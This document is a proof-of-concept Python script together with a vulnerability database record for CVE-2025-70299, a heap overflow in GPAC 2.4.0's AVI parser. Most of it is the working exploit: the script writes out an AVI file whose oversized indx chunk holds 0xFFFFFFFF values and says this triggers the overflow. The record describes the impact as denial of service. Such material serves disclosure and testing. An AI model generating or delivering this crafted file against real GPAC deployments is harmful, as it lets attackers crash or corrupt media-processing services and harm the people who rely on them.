CVE-2025-70299

#!/usr/bin/env python3 """ CVE-2025-70299 PoC - GPAC avi_parse_input_file() Heap Overflow This PoC generates a crafted AVI file that triggers heap overflow in GPAC. """ import struct import sys def create_malicious_avi(): """Create a malicious AVI file with oversized indx chunk""" # AVI RIFF header avi_data = b'RIFF' + struct.pack('<I', 0) + b'AVI ' # LIST hdrl - header list avi_data += b'LIST' + struct.pack('<I', 0) + b'hdrl' # avih chunk avi_data += b'avih' + struct.pack('<I', 56) + struct.pack('<I', 0) * 14 # LIST movi - movie list avi_data += b'LIST' + struct.pack('<I', 0) + b'movi' avi_data += b'00db' + struct.pack('<I', 4) + b'\x00' * 4 # Modify LIST movi size to close the chunk movi_start = avi_data.find(b'movi') movi_size = len(avi_data) - movi_start - 8 avi_data = avi_data[:movi_start+4] + struct.pack('<I', movi_size) + avi_data[movi_start+8:] # idx1 chunk - index avi_data += b'idx1' + struct.pack('<I', 16) + b'\x00' * 16 # Modify hdrl list size hdrl_start = avi_data.find(b'hdrl') hdrl_size = len(avi_data) - hdrl_start - 8 avi_data = avi_data[:hdrl_start+4] + struct.pack('<I', hdrl_size) + avi_data[hdrl_start+8:] # indx chunk - malicious oversized index # This triggers the heap overflow in avi_parse_input_file() indx_data = b'indx' indx_data += struct.pack('<I', 24) # cb chunk size indx_data += struct.pack('<H', 4) # wLongsPerEntry indx_data += b'\x00\x10' # bIndexSubType, bIndexType indx_data += struct.pack('<I', 1) # nEntriesInUse indx_data += b'00db' # dwChunkId indx_data += struct.pack('<I', 0) # dwReserved # Oversized index array - triggers heap overflow indx_data += struct.pack('<I', 0xFFFFFFFF) * 4 # Malicious large values avi_data += indx_data # Update RIFF file size avi_data = avi_data[:4] + struct.pack('<I', len(avi_data) - 8) + avi_data[8:] return avi_data if __name__ == '__main__': output_file = 'CVE-2025-70299_poc.avi' print(f'[*] Generating malicious AVI file for CVE-2025-70299') malicious_avi = create_malicious_avi() with open(output_file, 'wb') as f: f.write(malicious_avi) print(f'[+] PoC file created: {output_file}') print(f'[+] File size: {len(malicious_avi)} bytes') print(f'[*] This file triggers heap overflow in GPAC avi_parse_input_file()')

{"cve": {"id": "CVE-2025-70299", "sourceIdentifier": "[email protected]", "published": "2026-01-15T18:16:37.657", "lastModified": "2026-01-30T17:58:42.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap overflow in the avi_parse_input_file() function of GPAC v2.4.0 allows attackers to cause a Denial of Service (DoS) via a crafted AVI file."}, {"lang": "es", "value": "Un desbordamiento de montículo en la función avi_parse_input_file() de GPAC v2.4.0 permite a los atacantes causar una Denegación de Servicio (DoS) a través de un archivo AVI manipulado."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gpac:gpac:2.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "C8D68051-EBCD-445B-A060-EAC407CE2D39"}]}]}], "references": [{"url": "https://github.com/zakkanijia/POC/blob/main/gpac_avi/GPAC_AVI_indx_heap_overflow.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}